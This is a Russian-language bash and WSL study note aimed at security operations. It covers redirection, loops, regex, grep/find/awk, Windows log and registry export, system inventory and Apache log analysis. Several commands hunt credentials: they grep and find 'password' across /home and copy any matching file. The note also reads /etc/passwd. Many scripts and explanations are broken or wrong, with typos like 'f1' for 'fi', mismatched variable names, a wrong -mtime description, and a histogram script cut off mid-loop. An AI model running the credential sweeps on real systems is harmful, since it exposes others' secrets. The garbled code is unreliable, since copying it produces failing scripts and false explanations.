Рубрики
bash

bash / sec / wsl / Конспект

wsl

0. Установка WSL (всё одной командой)
wsl —install

1. WSL 1 или WSL 2?
wsl —set-default-version 2
|                    | WSL 1                     | WSL 2 |
|--------------------|---------------------------|-------|
| Ядро               | Эмуляция                  | Реальное Linux-ядро 
| Производительность | Быстрее на Windows-диске  | Лучше на Linux-утилитах 
| Совместимость      | Ограниченная | Почти 100% |
| Поддержка Docker   | x                         | y 
| GUI-приложения     | x                         | y (в Windows 11) 


2. Работа с файлами и системами
Доступ к Windows-дискам: /mnt/c/Users/...  
Поддержка Git, Python, Node, npm, pip, apt  


3. Можно запускать команды Windows внутри Linux и наоборот:
notepad.exe test.txt

4. Настройка терминала
Установи Windows Terminal из Microsoft Store — это красивый и мощный терминал с вкладками, шрифтами и темами.

5. Обновление WSL и Linux-дистрибуции
wsl —update
wsl —shutdown

6. Внутри Ubuntu:
sudo apt update && sudo apt upgrade -y


7. Установка других дистрибутивов
WSL поддерживает Ubuntu, Debian, Kali, Arch, SUSE и другие:
wsl —list —online
wsl —install —distribution Debian

8. Поддержка GUI и Docker
В Windows 11 WSL 2 поддерживает графические приложения Linux из коробки (через WSLg).  
Docker Desktop работает напрямую с WSL 2 — больше не нужны громоздкие VM.

9. Дополнительные фичи
.wslconfig для настройки ресурсов (CPU, RAM, swap)  
Автоматический mount директорий  
Работа с systemd, crontab, background-сервисами (в новых версиях)

Основы:

Командная строка - это общий термин, относящимся к средствам, 
передающим команды в интерактивную систему компьютера.

Создать директорию:
mkdir -p /tmp/fff

Тип файла:
type -t if
type -t pwd
type -t ls

Посмотреть какие команды встроены в интерпретатор:
compgen -k
compgen -c
compgen -b

Стандартный ввод / вывод / ошибки
0 - Стандартный ввод (stdin) — поток данных, который программа получает на вход (по умолчанию — клавиатура).
1 - Стандартный вывод (stdout) — поток, в который программа записывает результаты (по умолчанию — терминал).
2 - Стандартный поток ошибок (stderr) — поток, куда выводятся сообщения об ошибках (по умолчанию — терминал).

Перенаправление stdout:
Оператор > позволяет записать вывод команды в файл. Если файл существует, он будет перезаписан.
ls > output.txt

Оператор >> добавляет вывод в конец файла, не перезаписывая его.
echo "Hello" >> output.txt

Чтобы перенаправить поток ошибок в файл, используется 2>.
ls /nonexistent 2> errors.txt

2>> добавляет ошибки в конец файла:
ls /nonexistent 2>> errors.txt

Игнорирование ошибок:
command 2> /dev/null
 
Запись вывода и ошибок в один файл:
command > output.txt 2>&1
 
Раздельная запись stdout и stderr:
command > output.txt 2> errors.txt
 
Отправка всех данных в «черную дыру»:
command > /dev/null 2>&1


Сделать все одной строкой:
prog < data.in > result.out 2> errr.msg

Иногда требуется что бы программа выводила ошибки и вывод в один файл (обычный вывод программы)
prog  < data.in > result.out 2>&1


Выполнение команд в фоновом режиме:
ping 192.168.10.56 > ping.log &
ping 192.168.10.56 &> ping.log &
jobs
fg 1
crtrl+z


Скрипты
#!/bin/bash - шабанг, первая строка любого скрипта на баш
#!/usr/bin/env bash - или такой шабанг(первая строка) позволит найти путь для баша 
bash myscript
chmod 755 myscript
./myscript  

Основы работы:

echo "Hello world"
printf "Hello world\n"

Переменные:
MYVAR=textmyvar
echo $MYVAR

Если вы хотите присвоить переменной и сохранить последовательность слов, пробелов и спец символов:
MYVAR='here is a longer set of worlds'
OTHVAR="either double or single quotes will work"

Двойные кавычки позволит выполнять другие элементы внутри строки:
FIRSTVAR=beginning
SECONDVAR="this is just the $FIRSTVAR"
echo $SECONDVAR
echo ${SECONDVAR}

!!! Помните что при использовании двойных кавычек (") любые замены, начинающиеся с $,
все равно выполняются, а если значения находятся внутри одинарных кавычек ('), никаких замен не будет.

Сохранить вывод, полученный командной оболочки, с помощью символа $():
CMDOUT=$(pwd)

Позиционные параметры:
$# - возвращает общие кол-во параметров
$0 - имя скрипта
$1 - первый параметр
$2 - второй параметр
$3 - третий параметр

#!/bin/bash
#echoparms.sh   
echo $#
echo $0
echo $1
echo $2
echo $3



Условия:
Успешное выполнение скрипта возвращает 0.
Возвращаемое значение 0 считается success или true.
Для того что бы увидеть как выполнилась команда, нужно посмотреть переменную $?:
echo $?

Пример условий if:
if cmd
then
  some cmds
else 
  other cmds
fi


Если каталог /tmp есть(в него возможен переход) то будет возращено 0 и выполнена команда ls:
if cd /tmp
then
  echo "her eis what is in /tmp:"
  ls -l
fi

Пример конвейера if:
if ls | grep pdf
then
  echo "found more pdf"
else
  echo "no found pdf"
fi

Но есть нюанс если использовать с wc в конвейере:
ls | grep pdf | wc
Будет всегда возращено 0



Команда test и [, проверка атрибутов файлов или сравнения значений.
Проверка файлов и каталогов:
-d - проверка существования каталога
-у - проверка существования файла
-r - проверка существования файла и доступен ли он для чтения
-w - проверка существования файла и доступен ли файл для записи
-x - проверка существования файла и  можно ли файл выполнить

Проверка существования файла:
if [[ -e $FILENAME ]]
then
  echo $FILENAME exists
fi

Сравнение файлов или переменных:
-eq - тест на равенство
-gt - проверка, больше ли одно число, чем другое
-lt - проверка, меньше ли одно число, чем другое
Проверка меньше ли $VAL чем $MIN
if [[ $VAL -lt $MIN ]]
then
  echo "value is to small"
fi

!!! Внимание, да можно использовать знаки больше или меньше, но эффект может быть не ожиданым
!!! Так что рекомендуется использовать -eq, -gt, -lt
!!! Но если хочется, то можно использовать специальную математическую конструкцию из скобок (( ))
!!! Оператор $ не требуется в этой конструкции
if (( VAL < 12 ))
then 
  echo "value $VAL is to small"
fi


Последовательное выполнение команд с использование оператора ;
Пример:
cd $DIR; ls

Специальная команда &&, если первая команда выполнилась успешно, то дальше будет выполнятся следующая команда:
cd /etc/ && ls /etc && ls /etc/ | wc

Специальная команда ||,  если первая команда не выполнилась успешно то выполнится следующая команда.


Команды [[ можно выполнять без конструкции if
[[ -d $DIR ]] && ls "$DIR"
Аналог вот такой записи:
if [[ -d $DIR ]]
then
  ls "$DIR"
fi

Вот еще примеры:
[[ -d $DIR ]] || echo "err: no such directory: $DIR"; exit
[[ -d $DIR ]] || { echo "err: no such directory: $DIR" ; exit; }


Циклы while ( пока i меньше 1000, выполняем цикл)
i=0
while (( i < 1000))
do 
  echo $i
  let i++
done


Цикл while выполняет команды как часть своего условия:
while ls | grep -q pdf 
do 
  echo -n 'there is a file with pdf in lts name here:'
  pwd
  cd ..
done

Циклы for:
for ((i=0; i < 100; i++))
do
  echo $i
done

Еще for:
./args.sh bash is fun
for ARG
do
  echo here is an argument: $ARG
done


Еще far список:
for VAL in 20 3 dog peach 7 vanilla
do
  echo $VAL
done

Еще список можно генерировать используя другие программы, пример:
for VAL in $(ls | grep pdf) {0..5}
do
  echo $VAL
done


Функции и свои функции:
function myfun ()
{
 # это тело функции
}
Выполнение своей функции:
myfun




Шаблоны подстановки и перечисление / wildcarding
Символ "звездочка" (*) является шаблоном для любого количества любых символов в именах файлов и даже для их отсутствия.
Единственный символ, который не удовлетворяет этому шаблону, — лидирующая точка в именах скрытых файлов.
Таким образом, подставив звездочку в качестве аргумента команде echo, мы либо увидим в результате саму звездочку,
если в каталоге нет файлов, либо оболочка подставит команде echo имена всех файлов в каталоге в командную строку.
Имеются особенные имена файлов, начинающиеся с точки, например, .bashrc.
Такие файлы называются скрытыми, т. к. их имена не выводятся командой ls без специальных опций.
Шаблоном для имен скрытых файлов является .* (точка и звездочка).
Вообще, любые шаблоны для скрытых файлов должны начинаться с символа "точка".
 
Символ ? заменяет один символ в имени файла, который должен находиться в той позиции, где находится знак вопроса.
В примере "echo .??????" получен список скрытых файлов (имена начинаются с точки), в именах которых после точки имеется шесть любых символов.
 
Для того чтобы указать допустимый диапазон символов в шаблоне, необходимо использовать квадратные скобки, а в них — требуемый диапазон.
Например, [0-9] — шаблон подходит для любых цифр, а [a-zA-Z], шаблон для букв английского.
echo .[bcd]*
 
Если необходимо указать набор символов, не входящих во множество, следует установить знак восклицания после открывающей скобки.
Например, [!abc] — множество любых символов, кроме a, b или c.
 
Очень удобен, хотя и не относится к шаблонам, механизм перечисления Bash.
Он позволяет задать множество вариантов, которое должна перебрать оболочка, составляя последовательно все варианты, заданные в фигурных скобках
echo .bash{rc,_profile}

точка . - любой один символ
? - любой один символ
* - любое кол-во символов
а* - a, ab, abc и aecjejich
^ - начало строки
$ - конец строки 
^а - Любое «а», находящееся в начале строки 
*а$ - Любое «а», находящееся в конце строки 
а.с - Трехсимвольные строки, начинающиеся с «а» и заканчивающиеся на «с»
 
[] - диапазон 
[^a] - прикол  в таких скобках с "^" все что угодно только не "a"
[^0-9]
[^[:alnun:]]
[bcf]at - bat, cat или fat
[a-d]at - aat, bat, cat, dat, но не Aat, Bat и т. д.
[A-D]at - Aat, Bat, Cat и Dat, но не aat, bat и т. д.
1[3-5]7 - 137,147 и 157
[0-9]    [[:digit:]] \d \D
[a-z]
[A-Z]
[a-zA-Z0-9]
[[:alnun:]]  \w  \W
[[:space:]]  \s  \S
 
[A-Z] - большие буквы
[0-9] - цифры
[a-z] - мелкие буквы
[A-Za-z]
www\.[a-z]*\.com
 
[:alnum:] - алфавитно цифровой
[:alpha:] - Буквенный
[:ascii:] - ASCII
[:blank:] - пробел и символ табуляции
[:ctrl:] - управляющий символ
[:digit:] - число
[:graph:] - все что угодно, кроме управляющих символов и пробелов
[:lower:] - символы в нижнем регистре
[:print:] - все кроме управляющих символов
[:punct:] - символы пунктуации
[:space:] - пробелы, включая разрывы строк
[:upper:] - символы в верхнем регистре
[:world:] - буквы, цифры и символы подчеркивания
[:xdigit:] - шестнадцатеричный символ


d{n,m} - квантификатор 
{} -  последовательность
touch {6,7,8}.txt - последовательно создаст файлы 6.txt, 7.txt, 8.txt
grep -E  '[0-9]{1,3}'
 
\tHello	- Символ табуляции, предшествующий слову hello
\[tT][xX][Tt] - .txt, .TXT, .TxT или другие сочетания на основе изменения регистра
\n - новая строка
\r - символ возврата
 

Мата символ * 
Некоторые мета символы сами по себе не соответствуют ничему, но изменяют значение предыдущего символа. 
Один из таких символов, это * (звездочка), который используется для сопоставления нулевому или большему 
числу повторений предшествующего символа. Заметьте, это значит, что * имеет другое значение в регулярках, 
нежели в глоббинге. Вот несколько примеров, и обратите особое внимание на те случаи где сопоставление 
регулярных выражений отличается от glob-подстановок:
ab*c совпадает с «abbbbc», но не с «abqc» (в случае glob-подстановки, обе строчки будут удовлетворять шаблону. Вы уже поняли почему?)
ab*c совпадает с «abc», но не с «abbqbbc» (опять же, при glob-подстановке, шаблон сопоставим с обоими строчками)
ab*c совпадает с «ac», но не с «cba» (в случае глоббинга, ни «ac», ни «cba» не удовлетворяют шаблону)
b[cq]*e совпадает с «bqe» и с «be» (glob-подстановке удовлетворяет «bqe», но не «be»)
b[cq]*e совпадает с «bccqqe», но не с «bccc» (при глоббинге шаблон точно так же совпадет с первым, но не со вторым)
b[cq]*e совпадает с «bqqcce», но не с «cqe» (так же и при glob-подстановке)
b[cq]*e удовлетворяет «bbbeee» (но не в случае глоббинга)
.* сопоставим с любой строкой (glob-подстановке удовлетворяют только строки начинающиеся с ".")
foo.* совпадет с любой подстрокой начинающийся с «foo» (в случае glob-подстановки 
этот шаблон будет совпадать со строками, начинающимися с четырех символов «foo.»)
Итак, повторим для закрепления: строчка «ac» подходит под регулярное выражение «ab*c» потому, 
что звездочка также позволяет повторение предшествующего выражения (b) ноль раз. И опять, ценно отметить для себя, 
что мета символ * в регулярках интерпретируется совершенно иначе, нежели символ * в glob-подстановках.


Регулярные выражения:


grep 
-c - вывести кол-во строк, соответствующего шаблону
-E - включить расширенное регулярное выражение
-f - читать шаблон поиска, находящийся в предоставленном файле
-i - игнорировать регистр символов
-l - вывести только имя файла и путь, по которому был найден шаблон
-n - вывести номер строки файла, в которой был найден шаблон
-P - включить механизм регулярных выражений Perl
-R, -r - выполнить рекурсивный поиск подкаталогов


Пример:
grep -R -i 'password' /home
egrep это grep -E

Пример текса file.txt для работы с grep:
1 Two roads diverged in a yellow wood,
2 And sorry I cloud not travel both
3 And be one traveler, long I stood
4 And looked down one as far as I could
5 To where it bent in the undergrowth;
6 
7 Excerpt from The Road Not Taken by Robert Frost
8 User: XTjon
9 XWING model 7
10 an an an


Метасимвол .
В регулярных выражения точка (.), представляет собой один символ подстановки
grep 'T.o' file.txt

Если требуется отобразить точку, не как любой символ, нужно перед ним поставить обратный слеш (\),  так (\.)

Метасимвол ?
В регулярном выражении знак вопроса (?) делает любой предшествующей ему символ необязательным, 
символ сопоставляется один раз, а дальше игнорируется.
egrep 'T.?o' file.txt

Метасимвол *
В регулярных выражениях звездочка (*) - это специальный символ, 
который  соответствует предыдущему элементу неограниченное кол-во раз.
grep 'T.*o' file.txt

Метасимвол + 
Метасимвол плюс (+) работает так же, как и *, за исключением того, 
что предыдущий ему элемент должен встретиться хотя бы однажды. 
egrep 'T.+o' file.txt

Группирование 
Для группирования символов можно использовать скобки.
egrep 'And be one (stranger|traveler), long I stood' file.txt

Квадратные скобки и классы символов
[abc] - соответствует только символу a, или b, или c
[1-5] - соответствует цифрам от 1 до 5 
[a-zA-Z] - соответствует любым символа от a до z
[0-9+-*/] - соответствует числам или любым четырем указанным математическим символам
[0-9a-fA-F] - соответствует шестнадцатеричному символу
\s - пробельный символ
\S - не пробельный символ
\d - цифровой символ
\D - не цифровой символ
\w - слово
\W - не слово
\x - шестнадцатеричное число (например, 0x5F)
!!! Обратите внимания эти сокращения работаю только с опцией -P, Perl

grep -P '\d' file.txt

[:alnum:] - алфавитно цифровой
[:alpha:] - Буквенный
[:ascii:] - ASCII
[:blank:] - пробел и символ табуляции
[:ctrl:] - управляющий символ
[:digit:] - число
[:graph:] - все что угодно, кроме управляющих символов и пробелов
[:lower:] - символы в нижнем регистре
[:print:] - все кроме управляющих символов
[:punct:] - символы пунктуации
[:space:] - пробелы, включая разрывы строк
[:upper:] - символы в верхнем регистре
[:world:] - буквы, цифры и символы подчеркивания
[:xdigit:] - шестнадцатеричный символ

grep 'X[[:upper:][:digit:]]' file.txt


Обратные ссылки:
tags.txt
Commmand
line
is
great
! Пример вытаскиваем код: egrep '<([A-Za-z]*)>.*' tags.txt Якоря и границы слов: Символ каретки (^) предназначен для привязки шаблона к началу строки. Символ доллар $ используется для привязки шаблона к концу последовательности строки. Сайты для работы с регулярками: http://www.rexegg.com https://regex101.com https://www.regextester.com http://www.regular-expressions.info

cut

cut  - используется для извлечения частей файла
-c - символ для извлечения  
-d - символ, используемый в качестве разделителя полей, по умолчанию символ табуляции.
-f - поля для извлечения
Пример:
cutefile.txt
12/05/2025 10.33.66.3 test.html
12/05/2025 17.14.13.3 loging.html

cut -d' ' -f2 cutefile.txt

file

file - используется для идентификации типа файла
-f - читать список файлов для анализа из данного файла
-k - не останавливается на первом совпадении, перечислить все 
-z - просмотреть сжатые файлы

Пример:
file filename.un

head

head - отобразит  несколько первых строк или бит, по умолчанию 10
-n - кол-во строк
-c - количество байтов

reg

reg - используется в winpws, для работы с реестром
add - добавить запись в реестор
export - копировать указанные записи реестра в файл
query - возвратить список подразделов ниже указанного пути

Пример:
reg query HKEY_LOCAL_MACHINE

wevtutil

wevtutil - просмотр системных журналов в windows
el - перечислить доступные журналы
qe - запросить события журнала
Общие команды:
/c - максимальное событие для чтения
/f - форматирование вывода в виде текста или XML
/rd - если установлено в true то сначала прочитать свежие события

Примеры
wevtutil el
wevtutil qe System //c:1 //rd:true
wevtutil qe System /c:1 /rd:true

Собираем файлы журнала Linux

tar -czf ${HOSTNAME}_logs.tar.gz /var/log

Параметры:
-c - create - создание для создания архивного файла
-z - zip - архивирование
-f - file - указание имени файла
${HOSTNAME} - переменная баш, текущие имя хоста

Логи:
/var/log/apache2/  - журналы доступа и ошибок для вебсервера apache2
/var/log/auth.log - сведения о входе пользователя в систему, привилегии доступа и удаленная проверка подлинности
/var/log/kern.log - журнал ядра
/var/log/messages - общая не критическая системная информация
/var/log/syslog - общие системные журналы

конфиги:
/etc/syslog.conf
/etc/rsyslog.conf

Собираем файлы журналов Windows

Для скрипта на баш используется git bash.
Пример скрипта:
#!/bin/bash
#
# winlogs.sh
# Описание:
# Собираем логи windows
# Использование:
# winlogs.sh [-z]
#    -z  заархивировать вывод
#
TGZ=0
if (( $# > 0 ))
then
    if [[ ${1:0:2} == '-z']]
    then
    TGZ=1
shift
  f1
SYSMAN=$(hostname)
LOGDIR=${1:-/tmp/${SYSMAN}_logs}

mkdir -p $LOGDIR
cd ${LOGDIR} || exit -2

wevtutil el | while read ALOG
do
  ALOG="${ALOG%$'\r'}"
  echo "${ALOG}:"
  SAFNAM="${ALOG// /_}"
  SAFNAM="${SAFNAM//\//-}"
  wevutil epl "$ALOG" "${SYSNAM}_${SAFNAM}.evtx"
done

if (( TGZ == 1 ))
then
    tar -czvf ${SYSNAM}_logs.tgz *.evtx
fi


Сбор информации о системе



linux bash            windows git bash     Что?
uname -a              uname -a             Показать информацию о версии ОС
cat /proc/cpuinfo     systeminfo           Вывести сведения о системном оборудовании и связанную информацию
ifconfig              ipconfig             Вывести информацию о сетевом интерфейсе
route                 route print          Показать таблицу маршрутизации
arp -a                arp -a               Вывести таблицу ARP ( протокол определения адреса)
netstat -a            netstat -a           Отобразить сетевые подключения
mount                 net share            Вывести информацию о файловых системах
ps -e                 tasklist             Отобразить запущенные процессы


файл cmds.txt
# Linux Command   | MSWin Bash  | XML tag   | Purpose
#-----------------+-------------+-----------+------------------
uname -a          | uname -a    | uname     | O.S. ver
cat /proc/cpuinfo | systeminfo  | sysinfo   | sysinfo
ifocnfig          | ipconfig    | interface | Network info
ip -a             | ipconfig    | interface | Network info
route             | route print | nroute    | routing table
arp -a            | arp -a      | narp      | arp table
netstat -a        | netstat -a  | netstat   | network connection
ss -a             | netstat -a  | netstat   | network connection
mount             | net share   | diskinfo  | mounter disk 
ps -e             | task list   | processes | running processes

Сценарий определения типа OS

getlocal.sh
#!/bin/bash
#
# Описание:
# Собираем основную информацию о системе и сбрасываем в файл
# Использование:
# getlocal.sh < cmds.txt
#  cmds < этот файл со списком команд для выполнения
#
# SepCmds - отделение команд от строки ввода
function SepCmds()
{
   LCMD=${ALINE%%|*}
   REST=${ALINE#*|}
   WCMD=${REST%%|*}
   REST=${RST#*|}
   TAG=${REST%%|*}

   if [[ $OSTYPE == "WsWin" ]]
   then 
       CMD="$WCMD"
   else
       CMD="$LCMD"
   fi
}

function DumpInfo()
{
   printf 'systeminfo host="%s" type="%s"' "$HOSTNAME" "$OSTYPE"
   printf ' date="%s" time="%s">\n' "$(date '+%F')" "$(date '+%T')"
   readarray CMDS
 for ALINE in "${CMDS[@]}"
   do 
     # игнорировать комментарии
     if [[ ${ALINE:0:1} == '#' ]] ; then continue ; fi

     SepCmds

     if [[ ${CMD:0:3} == N/A ]]
     then
        continue
     else
        printf "<%s>\n" $TAG
        $CMD
        printf "\n" $TAG
     fi
 done
 printf "\n"
}

OSTYPE=$(./osdetect.sh)
HOSTNM=$(hostname)
TMPFILE="${hostname}.info"

# сбор информации
DumpInfo > $TMPFILE 2>&1

Сбор данных о реестре Windows

Экспорт всего реестра:
regedit //E ${HOSTNAME}_reg.bak

Экспорт раздела:
reg export HKEY_LOCAL_MACHINE $(HOSTNAME)_hklm.bak


Поиск файлов в системе:

find 
grep

find /home -name '*password*'
find /home -name '*password*' 2>/dev/null

Поиск скрытых файлов в linux:
find /home -name '.*'

Поиск скрытых файлов в windows:
dir c:\ /S /A:H

Поиск и запуск команды:
find /c -exec attrib '{}' \; | egrep '^.{4}H.*'

Найти и показать путь к файлу:
find . -exec attrib '{}' \; | egrep '^.{4}H.*' | cut -c22-

Поиск по размеру файла:
find /home -size +5G

Чтобы определить самые большие файлы в системе:
find /type f -exec ls -s '{}' \; | sort -n -r | head -5



Предположим, что вы только что выполнили следующую команду:
find / -type f -exec ls -s '{}' \;
Затем чтобы снова запустить  ее или передать в конвейер, вы можете использовать символы !!:
!! | sort -n -r | head -5

Можно найти большой файл не используя find:
ls / -R -s | sort -n -r | head -5


Поиск по времени:
Менее 5 мин:
find /home -nmin -5
Менее 24 часов:
find /home -mtime -1
Менее 48 часов:
find /home -mtime +2
Доступ к файлу менее 24 часов
find /home -atime -1
Для поиска файлов в каталоге, доступных менее 24 часов и копирования каждого файла в текущий каталог "./":
find /home -type f -atime -1 -exec cp '{}' ./ \;


Поиск контента:
Найти строку 'password':
grep -i -r /home -e 'password'
Комбинирование команды find и grep:
find /home -type f -exec grep 'password' '{}' \; -exec cp '{}' . \;

Поиск по типу файла:

file title.png

Сценарий typesearch.sh
#!/bin/bash
# Описание:
# Поиск в  файловой системе файлов указанного типа.
# Выводим путь, когда найдем
# Использование:
# typesearch.sh [-c dir] [-i] [-R|r]  
# -c Копировать найденные файлы в каталог
# -i Игнорировать регистр
# -R|r Рекурсивный поиск подкаталогов
#  Шаблон типа файла для поиска
#  Путь для начала поиска

DEEPPORNOT="-maxdepth 1" # только текущий каталог; по умолчанию
while getopts 'c:irR' opt; do
 case "${opt}" in
  c) # копировать найденные файлы в указанный каталог
   COPY=YES
   DISTDIR="$OPTARG"
   ;;
  i) # игнорировать регистр при поиске
   CASEMATCH='-1' 
   ;;
  [Rr]) # рекурсивно 
    unset DEEPPORNOT;;
  *) # неизвестный/неподдерживаемый вариант
     # при получении ошибки mesg от gretops просто выйти 
    exit 2;;
 esac
done
shift $((OPTIND -1))

PATTERN=${1;-PDF document}
STARTDIR=${2:-.} # по умолчанию начать здесь

find $STARTDIR $DEEPORNOT -type f | while read FN
do 
  file $FN | egrep -q $CASEMATCH "$PATTRERN"
  if (( $? ==0 )) # найден один
  then
      echo $FN
         if [[ $COPY ]]
         then
            cp -p $FN $DESTDIR
         fi
  fi
done

Поиск по хеш-значению

hashsearch.sh
#!/bin/bash
# Описание:
#    В указанном каталога выполняем рекурсивный поиск
#    файла по заданному SHA-1
# Использование:
#    hashsearch.sh  
#    hash - значение хеша SHA-1 разыскиваемого файла
#    directory - каталог для поиска
HASH=$1
DIR=${2:-.}  # cmd, по умолчанию это сдесь
# конвертируем путь в абсолютный
function mkabspath()
{
  if [[ $1 == /* ]]
  then
     ABS=$1
  else
     ABS="$PWD/$1"
  fi
}
find $DIR -type f | 
while read fn
do
  THISONE=$(sha1sum "$fn")
  THISONE=${THISONE%% *}
  if [[ $THISONE == $HASH ]]
  then
    mkabspath "$fn"
    echo $ABS
  fi
done

Обработка данных:

sed
tail
tr

файл awkuser.txt:
Mike Jones
John Smith
Kathy Jones
Jane Kennedy
Tim Scott


awk - фактически комбайн для обработки текста
-f - читать указанный файл
$0 - вся строка
$1 - первое слово
$2 - второе слово
$N - и т.д.

Пример:
awk '$2 == "jones" {print $0}' awkusers.txt



файл username.txt:
1,jdoe
2,puser
3,jsmith

файл accesstime.txt:
0745,file1.txt,1
0830,file3.txt,2
0830,file22.txt,3

join - объединяет строки из двух фалов с общими полями 
-j - использовать указанный номер поля. Поля начинаются с 1 
-t - символ, который будет использоваться в качестве разделителя
--header - использовать в качестве заголовка

Пример:
join -1 3 -2 1 -t, accesstime.txt username.txt



файл ips.txt
ip,OS
10.0.4.2,Windows 8
10.0.4.35,Ubuntu 16
10.0.4.107,macOS
10.0.4.145,macOS

sed - редактирование и замена текста в потоке файлов

Пример:
sed 's/10\.0\.0.\.35/10.0.4.27/g' ips.txt


tail - вывод последних строк файла
-f - выполнять постоянный мониторинг файлов и выходных строк по мере их добавления.
-n - вывести указанное кол-во строк
Пример:
tail -n 1 ips.txt


tr - преобразование одного символа в другой или отображения замещающего символа.
-d - удалить указанные знаки из входного потока
-s - уплотнить, то есть заменить повторяющиеся экземпляры символа одним экземпляром
Пример:
tr '\\:' '/|' < infile.txt > outfile.txt


Пример файла csvex.txt
"name","username","phone","password hash"
"john Smith", "jsmith","545-555-1212",234u923923u9u9fho8fgw87g8w7
"Bill Smith", "bsmith","555-555-1512",s99ds9uewurwyroyrdsyhfdishf
"Jane Smith", "jsmith","155-555-1212",qwepiju0sdfjm238rh30r8j2p0w
"john LAH", "bjones","525-555-1212",odjfohsohfio7bhbfsodsbodfsbds
"Yohn Ymith", "ymith","355-555-1212",kdskldfsdshuidyusbhudshdfsy3

cut - используется для извлечения из входного файла или потока, 
полей разделенных указанным символом. (попробуйте echo 'abc def ghi jkl' | cut -d ' ' -f2,2 прим. пер.)
cut - показать содержимое  вырезав символы  
cut -c 1,4,7 name.txt - показать содержимое  вырезав символы  
cat /etc/passwd | cut -f 1,3,6 -d ':' - показать содержимое 1,3,6 столбика вырезав 2,4,5 разделенные символом  ':'

Примеры:
cut -d',' -f1 csvex.txt
cut -d',' -f1 csvex.txt | tr -d '"'
cut -d',' -f1 csvex.txt | tr -d '"' | tail -n +2
awk -F "," '{print $4}'  csvex.txt
grep "$(awk -F "," '{print $4}' csvex.txt)" passwords.txt
cut -d',' -f3 csvex.txt | cut -c2-13 | tail -n +2


grep -o '.*<\/firstName>' book.xml
grep -Pzo '(?s).*?<\/author>' book.xml
grep -Po '.?<\/firstName>' book.xml | sed 's/<[^>]*>//g'

grep -o '"firstName": ".*"' book.json
grep -o '"firstName": ".*"' book.json | cut -d " " -f2 | tr -d '\"'

jq - это мощный легкий и JSON-анализатор
jq '.title' book.json
jq '.authors[].firstName' book.json

Агрегирование данных:
find /data -type f -exec grep '{}' -e 'ProductionWebServer' \;
-exec cat '{}' >> ProductionWebServerAgg.txt \;

join -t, -2 2 ips.txt user.txt

Ссылка:
https://rapidcyberops.com/

Анализ данных:


sort - сортировка текстового файла
-r - сортировка по убыванию
-f - игнорировать регистр
-n - использовать числовой порядок 1, 2, 3 и т.д.
-k - сортировать на основе подмножества данных (ключа) в строке
-o - записать вывод в указанный файл
-u - фильтр уникальности
Пример:
sort -k 3 file1.txt
sort -k 2.5,2.7 file1.txt

uniq - отфильтровать повторяющиеся строки
-c - вывести, сколько раз повторяется строка
-f - перед сравнением проигнорировать указанное кол-во полей
-i - игнорировать  регистр букв

Ознакомление с журналом доступа к веб серверу Apache2

CLF - Combined Log Format

cat access.log
192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET / HTTP/1.1" 200 3380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET /icons/openlogo-75.png HTTP/1.1" 200 6040 "http://192.168.15.167/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET /favicon.ico HTTP/1.1" 404 492 "http://192.168.15.167/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"

Что мы видим:
Поле  Значение                       Описание
1     192.168.15.53                  ip хоста который запросил страницу у веб сервера
2     -                              идентификатор протокола RFC 1413 (-, если его нет)
3     -                              идентификатор пользователя с проверкой подлинности HTTP (-, если его нет)
4     [11/Jul/2025:15:09:25 +0300]   Смещение даты, времени и GMT (часовой пояс)
5     GET /                          Страница которая была запрошена
6     HTTP/1.1                       Версия протокола HTTP
7     200                            Код состояния, возвращаемый веб-сервер
8     3380                           Размер возвращаемого файла в байтах
9     -                              Ссылающаяся страница
10    Mozilla/5.0                    Браузер



Коды:
200 - OK - Хорошо
401 - Unauthorized - Не авторизован \ не предоставляется
404 - Page Not Found - Страница не найдена
500 - Internal Server Error - Внутренняя ошибка сервера
502 - Bad Gateway - Плохой, ошибочный шлюз

Ссылки:
https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
https://httpd.apache.org/docs/2.4/logs.html


cat /var/log/apache2/access.log | sort -k2.1 -rn | head -15

Подсчет количества обращений к данным:
cat countem.sh
#!/bin/bash -
#
# Описание:
# Подсчет количества экземпляров элемента с помощью bash
# Использование:
# countem.sh < inputfile
declare -A cnt # ассоциативный массив
while read id xtra
do
    let cnt[$id]++
done
# вывести то, что мы подсчитали
# для каждого ключа в ассоциативном массиве в виде (ключ, значение)
for id in "${!cnt[@]}"
do 
  printf '%d %s\n' "${cnt[$id]}" "$id"
done


Пример countem.awk:
# countem.awk
# Описание:
# Подсчет количество экземпляров элемента с помощью команды awk
# Использование:
# countem.awk < inputfile
awk '{ cnt[$1]++ }
END {for (id in cnt) {
         printf "%d %s\n", cnt[id], id
        }
    }'


Оба сценария хорошо будут работать в конвейере:
cut -d' ' -f1 logfile | bash countem.sh
bash countem.sh < logfile

awk '$9 == 404 {print $1}' access.log | bash countem.sh
cut -d' ' -f1 access.log | bash countem.sh | sort -rn

P.S. Но все это круто конечно, юзать скрипты, но проще воспользоваться программами linux
cut -d' ' -f1 access.log | sort | unic -c | sort -rn
cut -d' ' -f1 access.log | sort -urn


Суммирование чисел и данных:
cat summer.sh
#!/bin/bash -
#
# Описание:
# Суммировать итоговое значение поля 2 для каждого уникального поля 1
# Использование: ./summer.sh
# Формат ввода:  
declare -A cnt # ассоциативный массив
while read id count
do 
  let cnt[$id]+=$count
done
for id in "${!cnt[@]}"
do
   printf "%-15s %8d\n" "${id}" "${cnt[${id}]}"
done

Использование:
cut -d' ' -f1,10 access.log | bash summer.sh | sort -k 2.1 -rn 

Скрипт отображение данных в виде гистограммы:

histogram.sh
#!/bin/bash - 
#
# Описание:
# Создание горизонтальной гистограммы с указанным данными 
# Использование: ./historgram.sh
# Формата ввода: label value
function pr_bar()
{
  local -i i raw maxraw scaled
  raw=$1
  maxraw=$2
  ((scaled=(MAXBAR*raw)/maxraw))
  # гарантированный минимальный размер
  ((raw > 0 && scaled ==0)) && scaled=1

  for((i=0; i max )) && max=$val
done 

# масштабировать и вести
for labl in "${!RA[@]}"
do
  printf '%-20.20s ' "$labl"
  pr_bar ${RA[$labl]} $max
done


